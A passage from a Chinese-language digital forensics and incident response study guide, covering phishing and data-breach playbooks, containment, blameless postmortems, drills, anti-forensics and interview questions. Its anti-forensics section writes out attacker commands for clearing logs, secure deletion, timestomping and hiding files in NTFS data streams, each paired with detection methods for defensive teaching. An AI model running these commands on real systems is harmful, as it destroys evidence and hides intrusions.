     - 谁打开了邮件?(邮件网关的追踪像素、日志)
     - ★ 谁点击了链接?(代理日志、DNS 日志、邮件网关的 URL 重写日志)
     - ★ 谁下载了附件?(代理日志、终端 EDR、文件创建记录)
     - ★ 谁执行了附件?(EDR 告警、Prefetch、Amcache、4688)
     - ★ 谁输入了凭据?(如果有假登录页,看它的日志;
       或者看 IdP/AD 的异常登录)

  ★ 分层处置:
     打开了但没点击 → 低风险,通知 + 培训
     点击了但没执行 → 中风险,加强监控
     执行了附件     → ★ 高风险,按主机失陷流程处理
     输入了凭据     → ★ 立即重置密码 + 检查该账号的活动

  ④ 遏制
     - 邮件网关:封禁发件人、发件域、附件哈希、URL
     - ★ 从所有收件箱删除该邮件(Exchange:Search-Mailbox)
     - 如果有人执行了 → 隔离该机器

  ⑤ 处置中招的账号/机器
     - 重置密码(★ 如果凭据可能被窃取)
     - ★ 检查账号的活动(有没有异常登录、发邮件、访问数据)
     - 主机取证

  ⑥ 加固与培训
     - 邮件网关规则加强(SPF/DKIM/DMARC、沙箱、URL 重写)
     - ★ 安全意识培训(针对性:这次是谁中招了,给他单独培训)
     - ★ MFA(★ 这一条能防住绝大部分钓鱼的后果)
     - 外发邮件监控(防止内鬼或被控账号外发)

剧本五:数据泄露(★ 最难也最敏感)

【特点:可能涉及合规上报、法律风险,必须谨慎】

【处置七步】

  ① 确认泄露是否真实发生(★ 先别声张)
     - 是"可能被访问"还是"确定被下载"?
     - ★ 区别很大:前者只需监控,后者要上报
     - 证据来源:
       · 文件访问日志(Windows 4663、审计)
       · 数据库审计日志
       · 代理/DLP 日志
       · 网络流量(外传的量)
       · ★ 云上:CloudTrail、S3 访问日志

  ② 确定泄露的范围 ★★★(★ 决定合规义务)
     - 多少条记录?
     - ★ 涉及什么类型的数据?
       · 个人信息?(★ 触发个保法/GDPR)
       · 重要数据?(★ 触发数据安全法)
       · 核心数据?(★ 更严格)
       · 财务数据?(★ 触发证券相关法规)
       · 健康数据?(★ HIPAA)
     - ★ 涉及多少人?(个保法:100 万人以上有专门要求)
     - 涉及哪些人?(员工、客户、患者、儿童★)

  ③ 确定泄露的方式
     - 内部人员(恶意/误操作)?
     - 外部攻击者?
     - 配置错误(★ 云上最常见:S3 桶公开)?
     - 第三方/供应商?
     - 物理介质(U盘、纸质)?

  ④ 遏制(★ 先止血,但也别破坏证据)
     - 如果是配置错误 → 立即修复配置(★ 但要先截图留证)
     - 如果是外部攻击者 → 按入侵流程处置
     - 如果是内部人员 → ★ 谨慎处理(涉及劳动法、取证合规)

  ⑤ ★ 合规评估(★ 这一步不能省,且要快)
     中国:
       - 《个人信息保护法》第 57 条:
         ★ 发生或可能发生个人信息泄露、篡改、丢失的,
           应当【立即采取补救措施】,并【通知履行个人信息保护职责的部门】和【个人】
       - 《数据安全法》:数据安全事件要报告
       - 《网络安全法》:网络产品服务存在缺陷要告知用户并报告
       - ★ 等保 2.0:有专门的"安全事件处置"要求
       - ★ 行业规定(金融、医疗、教育有各自的)
     欧盟:GDPR 第 33 条:★ 72 小时内通知监管机构
     美国:各州的数据泄露通知法(时限不同)

     ★ 关键:不同法规的时限不同,要【按最严的】来
     ★ 建议:立即通知法务和合规,让他们判断

  ⑥ 通知(★ 由公关和法务主导,不是技术团队)
     - 通知内容要包括:
       · 什么数据泄露了
       · 什么时候发生的
       · 我们做了什么
       · ★ 受影响的人应该怎么做(改密码、警惕钓鱼)
       · 联系方式
     - ★ 时机:确认范围后尽快,但不要在不确定的时候发

  ⑦ 复盘与改进
     - DLP(数据防泄露)部署
     - 数据分类分级(★ 不知道什么是敏感数据就没法保护)
     - 访问控制(最小权限)
     - ★ 数据外发监控
     - ★ 加密(静态和传输)

8.9.3 遏制策略的选择

★ 隔离的五种方式(按彻底程度)

① 【网络隔离】(★ 首选,最平衡)
   做法:把机器从网络中断开,但机器继续运行
     - 拔网线 / 关交换机端口(★ 最彻底)
     - 防火墙封禁(可能不够,攻击者能改本机防火墙)
     - VLAN 隔离(802.1X 联动)
     - ★ 虚拟化环境:改端口组
   优点:★ 保住了内存和运行状态,还能继续取证
   缺点:攻击者可能已经建立了其他通道(4G、Wi-Fi、另一个网卡)

② 【账号禁用】
   做法:禁用失陷的账号
   适用:凭据泄露场景
   ★ 注意:要同时清理该账号的【活动会话】和【票据】
     - AD:重置密码 + 强制登出
     - ★ 别忘了 Kerberos 票据(重置 krbtgt 或者等票据过期)

③ 【应用/服务级阻断】
   做法:停掉某个服务、下线某个应用
   适用:Webshell、应用漏洞场景
   优点:影响面小

④ 【流量阻断】
   做法:封 IP、封域名、WAF 规则
   适用:C2 通信、数据外传
   ★ 局限:攻击者可以换 IP/域名

⑤ 【关机 / 下线】(★ 最后手段)
   做法:关掉机器
   ★ 缺点:
     - 丢失内存证据(★ 不可恢复)
     - 可能触发某些恶意逻辑(如勒索软件的文件擦除)
     - ★ 磁盘上的数据还在,但内存里的东西全没了
   什么时候用:
     - 勒索软件正在加密且无法用其他方式阻断
     - 机器即将被物理搬走/断电
     - ★ 或者:已经完成了内存取证之后

★ 隔离决策的五个问题(现场要快速回答)

① 攻击者在不在【正在】造成损害?
   是 → 立即隔离,取证让步
   否 → 先取证,再隔离

② 隔离会不会被发现?
   ★ 会。所以:
   - 隔离前先把关键的取证做完(内存、进程、网络)
   - 或者:用"看起来正常"的方式(如"网络维护")

③ 有没有其他通道?
   ★ 必须检查:
   - 双网卡?(一台机器连两个网段)
   - Wi-Fi?(禁了有线还有无线)
   - 4G/5G 备份链路?
   - ★ 蓝牙、USB 网卡?
   - 云上:多个网卡、多个安全组

④ 这个决策谁来做?
   ★ 提前定好,写进预案。
   常见规则:
     - 单台办公机 → 安全工程师可以决定
     - 服务器 → 需要业务负责人同意
     - ★ 域控、核心数据库 → 需要 CISO/CEO 级别
   ★ 现场吵架是最糟糕的情况

⑤ 隔离之后还能不能取证?
   ★ 网络隔离后:内存还在,可以继续取证
   ★ 关机后:内存没了,只剩磁盘
   ★ 云上:快照 + 内存(如果支持)

8.9.4 无责复盘(Blameless Postmortem)

★ 为什么必须“无责”

有责复盘(❌ 错误):
  "张三点击了钓鱼邮件,导致了这次事故"
  → 结论:处罚张三、加强培训
  → ★ 结果:
     · 下次别人不敢上报(怕被罚)
     · 真正的问题(为什么邮件网关没拦住?为什么没有 MFA?)
       一个都没解决
     · ★ 同样的事故会再发生

无责复盘(✅ 正确):
  "一封钓鱼邮件到达了张三的邮箱,并且绕过了邮件网关的检测,
   张三点击后,由于没有启用 MFA,攻击者用他的凭据直接登录了 VPN"
  → 结论:
     · 邮件网关规则为什么没拦住?(技术改进)
     · 为什么没启用 MFA?(流程改进)
     · ★ 为什么张三会觉得这封邮件是真的?(培训改进)
  → ★ 结果:系统性改进,同样的事故不会再发生

★ 核心思想(来自航空业和 SRE):
  "人不会犯错,是系统允许了错误的发生"
  → 张三点击钓鱼邮件是"人的正常反应"
  → ★ 真正的问题是"系统为什么允许一次点击就导致灾难"

★ 复盘会的五个原则

① 不追责个人
   ★ 但"故意违规"除外(这是纪律问题,不是复盘问题)
   ★ 区分:失误(mistake,无心)≠ 违规(violation,明知故犯)

② 关注系统,不关注人
   问:"什么条件导致了这个错误?"
   不问:"谁犯了这个错误?"

③ 用"五个为什么"找根因
   例:
     为什么数据泄露了?
       → 因为数据库被外部访问了
     为什么数据库能被外部访问?
       → 因为安全组配置错误
     为什么安全组配置错了?
       → 因为手工配置,没有审批
     为什么没有审批?
       → 因为没有 IaC 和变更流程
     为什么没有 IaC 和变更流程?
       → ★ 因为云安全治理没有投入(这是根因)
   ★ 每一层都要问,直到找到"流程/制度/投入"层面的根因

④ 改进项必须有 owner 和 deadline
   ★ "加强安全意识" ← 不是改进项(不可执行、不可度量)
   ★ "6 月 30 日前,张三负责完成 MFA 在全员推广,覆盖率 ≥ 95%"
     ← 这才是改进项

⑤ ★ 复盘报告要公开(组织内部)
   → 让所有人都能学到
   → ★ 这也是"无责"的一种体现:不藏丑

★ 复盘报告的模板

# 事件复盘报告:IR-2026-0315

## 摘要
- 事件编号:IR-2026-0315
- 事件类型:勒索软件
- 定级:严重(Critical)
- 发现时间:2026-03-15 02:13(UTC+8)
- 处置结束:2026-03-17 18:00
- 影响:3 台文件服务器、约 800GB 数据被加密
- 业务影响:财务系统中断 26 小时

## 时间线(★ 核心,要精确到分钟,用 UTC)
| 时间(UTC+8) | 事件 | 来源 |
|---|---|---|
| 03-14 09:22 | 攻击者通过 RDP 爆破成功登录 FILE-01 | 4625 失败 847 次后 4624 成功 |
| 03-14 09:31 | 下载并执行勒索样本 | 代理日志 + Amcache |
| 03-14 09:45 | 加密开始 | MFT 时间戳聚集 |
| 03-15 02:13 | 用户报告文件打不开 | 服务台工单 |
| 03-15 02:20 | 确认为勒索软件 | 勒索信 + ID Ransomware 识别 |
| 03-15 02:25 | 断网隔离 | 操作记录 |
| 03-15 02:40 | 保护备份,检查完整性 | 检查记录 |
| 03-15 04:00 | 确认家族为 LockBit 3.0,无公开解密器 | No More Ransom 查询 |
| 03-15 06:00 | 从 3-13 的备份开始恢复 | 操作记录 |
| 03-16 02:00 | 财务系统部分恢复 | 业务确认 |
| 03-17 18:00 | 全部恢复,事件关闭 | 业务确认 |

## 影响评估
- 加密数据:约 800GB(文件服务器 FILE-01/02/03)
- 数据丢失:3-13 到 3-14 期间新增/修改的文件(约 2GB)★ 不可恢复
- 业务中断:财务系统 26 小时,HR 系统 12 小时
- ★ 数据泄露:未发现数据外传证据(NetFlow 无异常外传)

## 根因分析(五个为什么)
1. 为什么文件被加密?
   → 勒索软件在 FILE-01 上执行
2. 为什么能执行?
   → 攻击者通过 RDP 登录成功
3. 为什么 RDP 登录成功?
   → 服务账号 svc_backup 密码为弱口令,被爆破成功
     (★ 该账号无 MFA,且 RDP 暴露在内网全域可达)
4. 为什么弱口令存在且 RDP 暴露?
   → 服务账号未纳入特权账号管理,无密码强度检查和定期轮换;
     RDP 未做网络分段,任何内网机器都能连接
5. 为什么没有这些管控?
   → ★ 根因:没有建立特权账号管理体系和网络分段标准,
       历史遗留系统缺乏治理投入

## 做对了什么(★ 也要写,不能只写问题)
- 备份有效:3-13 的备份完整可用,恢复成功
- 响应及时:从发现到断网只用了 12 分钟
- 影响可控:网络分段部分生效,只影响 3 台机器,没有扩散到核心系统

## 改进项(★ 有 owner、有 deadline、可度量)
| # | 改进项 | 负责人 | 截止 | 验收标准 |
|---|---|---|---|---|
| 1 | 全员服务账号密码审计,弱口令整改 | 李四 | 04-15 | 服务账号密码 ≥ 20 位随机,100% 完成 |
| 2 | 部署堡垒机,RDP 只允许从堡垒机访问 | 王五 | 05-31 | 防火墙规则生效,直连 RDP 阻断 |
| 3 | 核心业务网段实施网络分段 | 赵六 | 06-30 | 办公网到服务器区默认拒绝 |
| 4 | 部署 LAPS,消除共用本地管理员密码 | 李四 | 05-15 | 覆盖率 ≥ 95% |
| 5 | EDR 全覆盖(当前仅 60%) | 王五 | 04-30 | 覆盖率 ≥ 98% |
| 6 | 备份策略改进为 3-2-1 + 不可变快照 | 赵六 | 05-31 | 每季度恢复演练成功 |
| 7 | RDP 全面启用 MFA | 李四 | 06-30 | 100% RDP 登录需 MFA |
| 8 | 制定特权账号管理规范 | 张三 | 04-15 | 规范发布并培训 |

## 附:IOC 清单
(见单独的 IOC 文件,TLP:AMBER)

8.9.5 应急预案与演练

★ 预案里必须有的十件事

① 事件分级标准
   ★ 什么样的事件定什么级、走什么流程
   例:
     严重:核心业务中断 > 4h / 域控失陷 / 个人信息泄露 > 100 万条
     高  :重要系统失陷 / 数据泄露 < 100 万条
     中  :一般系统失陷,影响可控
     低  :未遂攻击

② 联系人清单(★ 含手机,7×24)
   - 安全团队(分级:一线/二线/三线)
   - 运维、网络、系统
   - 业务负责人(按系统分)
   - 法务、合规、公关
   - 管理层(★ 什么时候上报给谁)
   - ★ 外部:应急服务厂商、云厂商、监管机构联系人

③ 升级路径
   ★ 什么情况要升级给谁、多长时间内必须升级
   例:
     发现后 30 分钟未定位 → 升级给技术负责人
     发现后 1 小时未遏制 → 升级给 CISO
     ★ 涉及个人信息泄露 → 立即通知法务(★ 有 72h 时限)

④ 处置剧本(8.9.2 那五类,以及本单位特有的)

⑤ 工具箱位置和使用方法
   ★ 不能只写"用 Volatility",要写"在 U 盘的 /tools/ 下,
     怎么跑,输出放哪"

⑥ 通信渠道(★ 含带外)
   - 应急群(主用)
   - ★ 备用:个人手机、电话会议桥

⑦ 证据保管规范
   - 证据存哪(★ 加密存储、访问控制)
   - 保留多久(★ 法律要求,通常 ≥ 1 年)
   - 谁有权限访问

⑧ 外部沟通模板
   - 给客户的通知(★ 提前准备好模板,事发时改细节就行)
   - 给监管的报告格式
   - 给媒体的声明

⑨ ★ 法务与合规要求清单
   - 什么情况必须上报、上报给谁、多长时间内
   - ★ 各国的时限不同,要列清楚

⑩ 恢复优先级清单
   ★ 系统恢复的顺序(哪个先恢复、哪个可以晚点)
   ★ 这个必须【业务方参与制定】,不能安全团队自己定

★ 桌面演练(Tabletop Exercise)

什么是桌面演练:
  ★ 大家坐在一个房间里,模拟一个事件场景,口头推演处置过程
  不涉及实际操作,不动生产系统

★ 为什么必须做:
  "预案不演练 = 没有预案"
  ★ 演练会暴露大量预案里没想到的问题:
    - 联系人电话是错的
    - 某个人不知道自己的职责
    - 某个工具坏了/没装
    - 两个部门对"能不能停业务"有分歧
    - ★ 某个关键步骤没人知道怎么做

★ 怎么做(六步):
  ① 选场景(★ 选本单位最可能发生的,如勒索软件、钓鱼)
  ② 准备场景材料(分阶段发放,模拟信息逐步明确)
     例:
       上午 10:00(发给团队):
         "有 5 个用户报告文件打不开,显示 .lockbit 扩展名"
       上午 10:20:
         "发现 FILE-01 上有勒索信,且加密还在继续"
       上午 10:40:
         "发现攻击者的入口可能是 RDP"
       ★ 分阶段发,模拟真实的信息渐进过程
  ③ 角色分配(★ 让不同的人扮演不同角色,包括平时不做应急的人)
  ④ 推演(2~4 小时)
     ★ 主持人的关键问题:
       "现在你要做什么?"
       "这个决定谁来做?"
       "你需要什么信息?"
       "如果联系不上那个人怎么办?"
  ⑤ 记录问题(★ 这是演练最大的产出)
  ⑥ 出改进清单,更新预案

★ 频率:
  - 桌面演练:每半年一次
  - ★ 技术演练(真的做一次恢复):每年一次
  - 新员工入职:必须参加一次

★ 进阶:紫队演练(用 Atomic Red Team 真的打一次,验证检测)

8.10 反取证与对抗

定位:知己知彼。了解攻击者怎么对抗取证,才知道我们的取证哪里不可靠。

8.10.1 攻击者常用的反取证手法

┌────────────────────────────────────────────────────────────┐
│ ① 日志清理                                                  │
├────────────────────────────────────────────────────────────┤
│ Windows:                                                   │
│   wevtutil cl security          ★ 清安全日志(最经典)       │
│   wevtutil cl system                                        │
│   wevtutil cl application                                   │
│   ★ 或者:Event 1102 / 104                                  │
│   ★ 或者:停止 eventlog 服务再删文件                          │
│                                                             │
│ Linux:                                                     │
│   > /var/log/wtmp              清空二进制登录日志             │
│   rm -f /var/log/secure                                     │
│   ★ 或者更精细:sed -i '/203.0.113.5/d' /var/log/secure      │
│      ★ 精确删除某一行(最隐蔽,最难发现)                      │
│   history -c && history -w      清命令历史                    │
│   unset HISTFILE                                            │
│   journalctl --rotate --vacuum-time=1s                      │
│   ★ 或者:直接改 journald 配置后重启                          │
│                                                             │
│ 清除:                                                       │
│   shred -u file                 多次覆盖后删除                │
│   sdelete -p 3 file             Windows 版                   │
│   cipher /w:C:\                 擦除空闲空间 ★                │
│                                                             │
│ ★ 检测:                                                     │
│   - Event 1102(Windows)★ 无条件告警                        │
│   - ★ 日志的"断档"(时间不连续)                              │
│   - 日志文件的修改时间异常                                    │
│   - auditd 里对日志文件的写操作                               │
│   - ★ 交叉验证多个日志通道                                    │
└────────────────────────────────────────────────────────────┘

┌────────────────────────────────────────────────────────────┐
│ ② 时间戳伪造(Timestomping)                                 │
├────────────────────────────────────────────────────────────┤
│ 手法:把恶意文件的时间戳改成跟系统文件一样,混在里面            │
│                                                             │
│ Windows:                                                   │
│   touch.exe -r C:\Windows\explorer.exe malware.dll          │
│   ★ 复制另一个文件的时间戳("跟着系统文件走")                 │
│   (touch 来自 Windows Resource Kit 或第三方)                │
│                                                             │
│ Linux:                                                     │
│   touch -r /bin/ls malware                                  │
│   touch -t 202001010000 malware                             │
│                                                             │
│ ★ 检测(★ 这三条是核心):                                    │
│   ① 【$SI vs $FN】NTFS 有两套时间,$SI 能改,$FN 改不了        │
│      → 对比这两个,不一致 = 伪造                              │
│   ② 【Entry Modified】timestomping 工具通常忘改第四个时间戳    │
│      → Created 是 2020 年,Entry Modified 是 2026 年 = 伪造   │
│   ③ 【创建时间 vs 父目录创建时间】                             │
│      → 文件不可能比它所在的目录还早创建                        │
│   ④ 【时间戳精度】真实操作有随机的亚秒值,                     │
│      伪造的往往是整点整秒                                     │
│   ⑤ Linux:touch 能改 atime/mtime,但【改不了 ctime】          │
│      → mtime 是 2020 但 ctime 是 2026 = ★ 明确伪造            │
└────────────────────────────────────────────────────────────┘

┌────────────────────────────────────────────────────────────┐
│ ③ 文件隐藏                                                  │
├────────────────────────────────────────────────────────────┤
│ a) NTFS 备用数据流(ADS)★ Windows 特有                      │
│    type malware.exe > C:\Windows\Temp\readme.txt:mal.exe    │
│    → 文件看起来是 readme.txt(几 KB),实际藏了个 exe         │
│    → 执行:start C:\Windows\Temp\readme.txt:mal.exe          │
│    ★ 检测:                                                  │
│      dir /r                                                 │
│      Get-Content file -Stream *                             │
│      streams.exe(Sysinternals)                             │
│      ★ 取证时挂载要用 streams_interface=windows 参数          │
│                                                             │
│ b) 隐藏属性                                                 │
│    attrib +h +s +r file                                     │
│    ★ 太低级了,几乎没用(dir /a 就能看到)                     │
│                                                             │
│ c) 文件名伪装                                                │
│    svch0st.exe(数字 0 代替字母 o)                           │
│    lsass.exe 放在非 System32 目录                            │
│    ★ 利用 Unicode 的 RLO(从右到左覆盖)字符:                 │
│      photo\u202egnp.js  显示为 photo.jpg ★ 高级手法           │
│                                                             │
│ d) 目录隐藏(Linux)                                          │
│    目录名以 . 开头(.ssh、.config)                            │
│    ★ 或者:把目录挂到 /proc/ 下(隐藏挂载)                    │
│                                                             │
│ e) Rootkit 级隐藏                                            │
│    ★ 内核态 hook,让 ls / dir 看不到文件                      │
│    → ★ 检测必须靠内存取证或离线分析                           │
└────────────────────────────────────────────────────────────┘

┌────────────────────────────────────────────────────────────┐
│ ④ 反分析(Anti-Analysis)                                    │
├────────────────────────────────────────────────────────────┤
│ a) 加壳 / 混淆                                               │
│    UPX、Themida、VMProtect、自制的加密壳                      │
│    → 静态分析看不到导入表和字符串                              │
│    ★ 检测:pestudio 的可疑标记、DIE 识别、熵值高               │
│    ★ 熵值(Entropy)> 7.0 = 高度可疑(加密或压缩了)           │
│                                                             │
│ b) 反调试(Anti-Debug)                                      │
│    IsDebuggerPresent()、CheckRemoteDebuggerPresent()         │
│    NtQueryInformationProcess(ProcessDebugPort)               │
│    ★ 检测调试器的行为,发现就退出或改变行为                    │
│                                                             │
│ c) 反沙箱(Anti-Sandbox / Anti-VM)★ 最常见                   │
│    检测虚拟机特征:                                           │
│    - MAC 地址前缀(VMware: 00:0C:29, VirtualBox: 08:00:27)   │
│    - 特定进程(vmtoolsd.exe、VBoxService.exe)                │
│    - 特定注册表项(HKLM\HARDWARE\...\VMware)                 │
│    - 特定文件(C:\Windows\System32\drivers\vmmouse.sys)      │
│    - CPU 特征(CPUID 的 hypervisor 位)                       │
│    - 磁盘大小、内存大小(沙箱通常很小)                        │
│    ★ 检测:就"装死"——表现得像正常程序                          │
│                                                             │
│ d) 延迟触发(Time Bomb)                                     │
│    ★ 运行后 sleep 几分钟甚至几小时才真正执行                   │
│    → 沙箱只跑 3~5 分钟,看不到真实行为                        │
│    ★ 或者:检测用户活动(鼠标移动、文件打开)才触发             │
│    → ★ 应对:沙箱要跑足够久,或者模拟用户活动                  │
│                                                             │
│ e) 环境检查                                                  │
│    检查语言(某些 APT 只攻击特定语言的系统)                   │
│    检查域名(只在特定公司的域里执行)                          │
│    ★ 检查用户名(不是目标用户就退出)                          │
│                                                             │
│ f) 反取证工具检测                                             │
│    检测 Procmon、Wireshark 的进程/驱动                        │
│    ★ 检测 Volatility(较难,但高级样本会)                     │
│                                                             │
│ g) 自毁                                                      │
│    ★ 检测到分析环境就删除自己                                  │
│    → ★ 所以分析前必须先做副本!                               │
└────────────────────────────────────────────────────────────┘

┌────────────────────────────────────────────────────────────┐
│ ⑤ 反内存取证                                                 │
├────────────────────────────────────────────────────────────┤
│ a) 进程摘链(DKOM)                                          │
│    ★ 把自己从内核的 PsActiveProcessHead 链表里摘掉            │
│    → ps / tasklist 看不到,但内存扫描(psscan)能找到          │
│    ★ 这是最常见的 Rootkit 手法                                │
│                                                             │
│ b) 抹掉内存中的痕迹                                           │
│    ★ 用完就清零(比如用完的密钥、解密的 payload)              │
│    → 内存取证找不到                                           │
│                                                             │
│ c) 加密内存内容                                               │
│    只在需要时解密,用完立即加密                                │
│                                                             │
│ d) 反内存 dump                                                │
│    ★ 检测内存 dump 工具的行为                                  │
│    ★ 或者:在检测到 dump 时触发破坏逻辑                        │
│                                                             │
│ ★ 应对:                                                     │
│   - 用多个视角(pslist vs psscan vs thrdproc)                │
│   - ★ 尽早 dump(攻击者反应需要时间)                          │
│   - 对比内核数据结构(malfind、callbacks、ssdt)               │
│   - ★ 离线分析(攻击者无法感知)                              │
└────────────────────────────────────────────────────────────┘

8.10.2 取证人员怎么应对

★ 七个应对策略

策略一:【先内存后磁盘】
  内存是最容易被破坏的,也是最容易被忽略的
  ★ 攻击者能清磁盘日志,但清不了已经 dump 走的内存

策略二:【离线分析】
  ★ 攻击者无法感知离线的分析
  - 把磁盘镜像挂载为只读,在另一台机器上分析
  - 用静态编译的可信二进制(防 Rootkit 替换系统命令)
  - ★ 不要在被攻陷的机器上运行任何不必要的程序

策略三:【交叉验证】
  ★ 任何单一数据源都不可信
  - 内存 vs 磁盘
  - /proc vs ps
  - pslist vs psscan
  - 本机日志 vs 域控日志 vs 网络日志
  - ★ 只有多个来源一致,才能下结论

策略四:【找"删除的痕迹"而不是"被删的内容"】
  ★ 攻击者能删掉证据,但【删除这个动作本身会留下痕迹】
  - 日志的断档
  - USN 日志里的删除记录
  - MFT 里标记为未使用的记录
  - ★ Event 1102
  - Prefetch 里"该有却没有"的文件
  - auditd 里对日志文件的写操作

策略五:【用攻击者想不到的证据源】
  ★ 攻击者通常只清他知道的
  - Sysmon(很多攻击者不知道有这个日志通道)
  - ★ BAM / DAM / Amcache(在注册表里,清日志不影响)
  - SRUM(网络流量统计)
  - 浏览器的 Sessions 文件夹
  - 卷影拷贝(VSS)里的旧版本文件
  - ★ 域控上的日志(攻击者清不了)
  - ★ 网络侧日志(防火墙、代理、DNS,攻击者完全够不着)
  - ★ 备份

策略六:【时间线的一致性检查】
  ★ 伪造很难做到"所有证据源都自洽"
  - 文件时间 vs 父目录时间
  - 文件时间 vs 系统安装时间
  - 进程执行时间 vs 文件创建时间
  - 登录时间 vs 用户实际位置(不可能的旅行)
  - ★ 找到矛盾,就找到了伪造

策略七:【诚实承认局限】
  ★ 这是最重要的
  - 证据被清理了就说"证据被清理了"
  - 查不到就说"查不到"
  - ★ 不要为了"交差"而编造结论
  - ★ 取证报告里要写"基于现有证据"而不是"事实是"
  - ★ 过度自信的取证结论,比没有结论更危险

8.10.3 攻击者最常犯的六个取证错误(★ 防守方的机会)

① 只清 Security 日志,忘了其他通道
   ★ Sysmon、PowerShell Operational、Setup、System、Application
   → 防守方:多通道采集,攻击者清不完

② 忘了清 Amcache / BAM / ShimCache
   ★ 这些在注册表/SYSTEM hive 里,清事件日志不影响它们
   → 防守方:这三个是"清了日志也还在"的证据

③ 忘了清 Prefetch
   ★ 而且"Prefetch 里该有却没有"本身就是最强的恶意信号
   → 防守方:对比"程序执行过但 Prefetch 没有"的矛盾

④ 只清本机日志,忘了域控
   ★ 域控上记录着所有认证行为,攻击者通常清不到
   → 防守方:域控日志是内网取证的"金标准"

⑤ 只清主机,忘了网络
   ★ 防火墙、代理、DNS、NetFlow 的日志攻击者完全够不着
   → 防守方:网络侧日志是最可靠的证据源

⑥ 用工具清日志,但工具本身留痕
   ★ wevtutil cl 会产生 Event 1102
   ★ rm 会在 USN 日志里留记录
   ★ 清日志的 PowerShell 命令会在 4104 里留记录
   → 防守方:"清除日志"这个行为本身,就是最强的入侵指标

8.11 面试题 H 组:数字取证与应急响应(30 题)

本组题目难度分布

分组 题号 数量 难度 考察目标
基础 H1 ~ H12 12 ★★ ~ ★★★ 取证原则、关键 artifact、工具使用
进阶 H13 ~ H22 10 ★★★ ~ ★★★★ 处置流程、检测工程、能力建设
场景 H23 ~ H27 5 ★★★★ ~ ★★★★★ 真实事件决策、沟通、优先级
追问链 H28 ~ H30 3 ★★★★★ 被深挖时的连续性回答能力

答题提示:DFIR 的题很看重“有没有真的做过”。 面试官能从你的回答里听出:你是背了工具名,还是真的在凌晨处理过事件。 所以能说细节就说细节(具体的命令、具体的坑、具体的时间), 而且要诚实说局限性——说“这个查不到”比编造结论得分高。


8.11.1 基础题(H1 ~ H12)


H1|什么是 DFIR?取证和应急响应有什么区别?(难度 ★★)

一句话答案

DFIR = Digital Forensics(数字取证)+ Incident Response(应急响应)。

  • 取证:查清发生了什么(像法医验尸)
  • 应急响应:控制损失(像急诊医生)

核心区别表

维度 取证 应急响应
目标 查明真相 控制损失
时间敏感性 相对不急,但证据会消失 ★ 极急
思维 冷静、不动现场 先止血
产出 报告、时间线、证据 系统恢复、后门清除
成功标准 证据链完整、可复现 ★ MTTR 最短

★ 两者的冲突(本题考点)

应急响应想:赶紧隔离、杀进程、恢复业务
取证想要 :别动!先做镜像!先 dump 内存!

★ 实务上的折中(★ 这个答案才是面试官想听的):
   花 5~10 分钟做【快速取证】:
     ① 内存 dump
     ② 进程列表 + 网络连接
     ③ 关键日志导出
   然后立刻处置

   → 既保住了最关键的证据,又不耽误止损

★ 例外:如果业务正在被严重破坏(如勒索软件正在加密),
   那就先切断!证据可以损失,公司不能停摆

面试话术

“DFIR 是数字取证和应急响应的合称。取证是要查明真相,应急响应是要控制损失。

这两个有天然冲突:应急响应想赶紧隔离杀进程恢复业务,取证想要先保现场做镜像。这个冲突真实存在,没有完美答案。

实务上的处理是花五到十分钟做快速取证——内存 dump、进程列表和网络连接、关键日志导出——然后立即处置。这样既保住最关键的证据,又不耽误止损。但有个例外:如果业务正在被严重破坏,比如勒索软件正在加密文件,那就先切断,证据可以损失,公司不能停摆。“


H2|数字取证的四个基本原则是什么?(难度 ★★)

四原则

① 不改动原始数据
   → 在副本上分析,原始盘只读挂载,用写保护设备

② 记录一切
   → 每条命令、每个输出、每个时间点都要记,用 tee / script 记录会话

③ 保持证据链
   → 谁、什么时候、拿到了什么、做了什么,全程记录

④ 只做有把握的推断
   → "事实"和"推断"必须分开写

★ 面试官最爱追问的两个细节

追问一:为什么不能在原始盘上分析?

  ① 你打开一个文件,Windows 就会改它的"最后访问时间"
     → 证据被你污染了
  ② 你运行的程序会往磁盘写临时文件、日志
     → ★ 可能覆盖掉攻击者删除的关键数据(空闲空间)
  ③ ★ 法律后果:如果这案子要上法庭,对方律师一句话就能让你的证据失效

追问二:什么是"事实"和"推断"分开?

  事实:这个文件的 $SI.Created 是 2020-03-15 08:00:00
  推断:攻击者是在 2020 年之前就已经把文件放上去了

  ★ 为什么必须分开:
    时间戳可以被篡改(Timestomping)
    所以"文件创建时间是 2020"是事实(读到什么说什么)
    但"攻击者 2020 年就在了"是推断(可能是伪造的)

  ★ 取证报告里要写成:
    "文件 X 的 $SI.Created 显示为 2020-03-15,
     但其 $FN.Created 为 2026-03-14,两者不一致,
     结合 Entry Modified 时间为 2026-03-14,
     判断该时间戳被篡改过(Timestomping)。"
    ↑ 事实 + 矛盾 + 推断,三者分开

H3|什么是易失性顺序?为什么内存要最先收集?(难度 ★★☆)

一句话答案

易失性顺序:按证据“消失速度”从快到慢排序,据此决定采集顺序。先内存、后磁盘。

标准顺序(简化版,记住这个就够)

内存 → 网络连接 → 磁盘/日志 → 远程日志 → 备份

★ 内存里有磁盘上根本没有的六样东西(本题核心)

① 无文件攻击的全部内容
   PowerShell 内存加载的 payload、反射加载的 DLL
   → 磁盘上没有文件

② 解密后的内容
   C2 通信在内存里是明文;加密的配置运行时要解密

③ 明文凭据 ★
   LSASS 里有登录用户的凭据;浏览器密码在内存里是解密状态

④ 当前的网络连接
   连着哪个 C2、传了多少数据 → 一断网就没了

⑤ 被 Rootkit 隐藏的东西
   ★ 磁盘上读到的是被 Rootkit 过滤过的假内容,内存里才是真的

⑥ 进程树关系
   ★ "Word 启动了 PowerShell"这种异常,磁盘上读不到

面试话术

“易失性顺序就是按证据消失速度排序,决定先收什么。简化版是:内存、网络连接、磁盘日志、远程日志、备份。永远先内存后磁盘。

为什么要先收内存?因为内存里有磁盘上根本没有的六样东西:无文件攻击的 payload、解密后的内容、明文凭据、当前的网络连接、被 Rootkit 隐藏的东西,还有进程树关系——’Word 启动了 PowerShell’这种异常只能从内存里看到。

而且内存是唯一’过了这村没这店’的证据——断电就没了,磁盘上的东西至少还在。“


H4|什么是证据链?为什么要算哈希?(难度 ★★)

证据链:一份按时间顺序记录“这份证据从被收集到现在,经过谁的手、在什么地方、被用来做了什么”的表格。

五个必须记录的要素

① 谁(Who)      经办人全名
② 什么(What)   证据唯一标识 + 哈希值
③ 何时(When)   精确到分钟,★ 用 UTC
④ 何地(Where)  存储位置、经手的物理位置
⑤ 为什么(Why)  这个动作的目的

★ 缺任何一项,证据链就有"断点",对方律师会抓住这个点质疑整份证据

★ 为什么用 SHA256 而不是 MD5

